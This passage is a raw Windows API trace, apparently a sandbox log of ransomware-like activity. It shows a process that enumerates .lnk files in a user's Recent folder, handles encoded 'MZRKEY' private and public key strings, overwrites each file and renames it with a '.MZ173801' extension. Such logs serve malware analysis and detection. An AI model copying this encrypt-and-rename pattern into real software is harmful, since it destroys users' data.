(lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FLOta7xX0gkrp_QvZlm.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\flota7xx0gkrp_qvzlm.lnk")) returned 0x20 [0147.609] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FLOta7xX0gkrp_QvZlm.lnk", dwFileAttributes=0x80) returned 1 [0147.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.611] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0147.613] GetCurrentThreadId () returned 0xab4 [0147.613] GetCurrentThreadId () returned 0xab4 [0147.613] GetCurrentThreadId () returned 0xab4 [0147.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.614] GetCurrentThreadId () returned 0xab4 [0147.614] GetCurrentThreadId () returned 0xab4 [0147.614] GetCurrentThreadId () returned 0xab4 [0147.614] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FLOta7xX0gkrp_QvZlm.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\flota7xx0gkrp_qvzlm.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.614] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.614] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.614] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x4c2 [0147.615] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.615] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x4c2, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x4c2, lpOverlapped=0x0) returned 1 [0147.616] CloseHandle (hObject=0x280) returned 1 [0147.616] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FLOta7xX0gkrp_QvZlm.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\flota7xx0gkrp_qvzlm.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.617] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x4c2, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x4c2, lpOverlapped=0x0) returned 1 [0147.618] CloseHandle (hObject=0x280) returned 1 [0147.619] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FLOta7xX0gkrp_QvZlm.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\flota7xx0gkrp_qvzlm.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FLOta7xX0gkrp_QvZlm.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\flota7xx0gkrp_qvzlm.lnk.mz173801")) returned 1 [0147.619] GetCurrentThreadId () returned 0xab4 [0147.619] GetCurrentThreadId () returned 0xab4 [0147.620] GetCurrentThreadId () returned 0xab4 [0147.620] GetCurrentThreadId () returned 0xab4 [0147.620] GetCurrentThreadId () returned 0xab4 [0147.620] GetCurrentThreadId () returned 0xab4 [0147.620] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69dd0a54, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x69dd0a54, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x69dd0a54, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="fnWHfWmALlcTd.lnk", cAlternateFileName="FNWHFW~1.LNK")) returned 1 [0147.620] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.620] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.620] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fnWHfWmALlcTd.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fnwhfwmallctd.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69dd0a54, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x69dd0a54, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x69dd0a54, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x297)) returned 1 [0147.620] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fnWHfWmALlcTd.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fnwhfwmallctd.lnk")) returned 0x20 [0147.620] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fnWHfWmALlcTd.lnk", dwFileAttributes=0x80) returned 1 [0147.621] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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